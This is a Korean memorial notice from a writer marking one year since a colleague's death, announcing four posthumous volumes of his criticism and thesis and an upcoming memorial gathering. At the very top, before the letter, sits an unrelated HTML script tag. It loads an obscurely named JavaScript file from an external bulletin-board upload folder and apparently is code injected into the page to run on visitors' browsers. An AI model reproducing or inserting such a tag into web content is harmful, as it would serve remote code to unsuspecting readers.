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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 안녕하십니까?
창졸간에 고인을 보낸 지 벌써 1년이 되었습니다.
스산한 날씨 속에서 여러 문우들이 중앙병원과 벽제 화장터를 쓸쓸하게 오간 기억이 어제 같습니다.
생전에 고인이 본인의 글들을 모아 출판할 계획도 있었고, 여러 동인과 문우들도 빠른 시일 내에 유고집을 내는 게 좋겠다고 뜻을 모은 바 있습니다. 그간 유품을 수습하고, 유작들을 정리하였습니다. 이 일에는 고인이 생전에 깊이 관여한 <문화과학> 동인들의 노고가 컸습니다.
지난 10월 26일에 문화과학 동인들, 평론가 손경목, 고인의 연세대 후배 박재석 씨, 그리고 출판사 관계자들과 함께 출판계획을 잡았습니다.
고인의 유작들을 검토한 결과 작품집은 총 4권으로 출판하기로 하였습니다.
우선 문학평론서는 출판사 <문학동네>에서, 1970, 80년대 문화평론서는 <생각의 나무>에서 출판하기로 하였습니다. 이는 고인이 생전에 준비하던 대로입니다. 나머지 문화평론서 1권과 박사학위 논문집 1권은 <문화과학>에서 묶기로 하였습니다. 출판 일정은 내년 3, 4월경으로 하고, 가급적 시기를 서로 맞추기로 했습니다.
오는 11월 13일이 고인의 기일인데, 이 자리에 유고집이 올려졌다면 더없이 좋았을 것입니다. 그러나 고인도 채 정리하지 못한 원고를 찾아서 정리하느라 시간이 걸렸으니 양해하시기 바랍니다. 대신 기일을 전후하여 조촐한 추모모임을 가질 예정입니다.
아직 날짜나 장소가 잡히지 않았습니다만 정해지는 대로 공지하겠습니다.
참고로 유가족은 형과 누나가 한 분씩 계셨는데 형님은 지난 봄에 성욱 형을 뒤따랐고, 이제 미국에 거주하는 누이가 남아 있습니다.
올봄에 누이는 큰오빠의 상제로 잠깐 나오셨다가 유족의 여러 뜻을 전하고 돌아갔습니다.
생전에 고인과 돈독한 우정을 나누신 여러 문우들의 많은 관심과 협조 바랍니다.
안녕히 계십시오.
전성태 드림.
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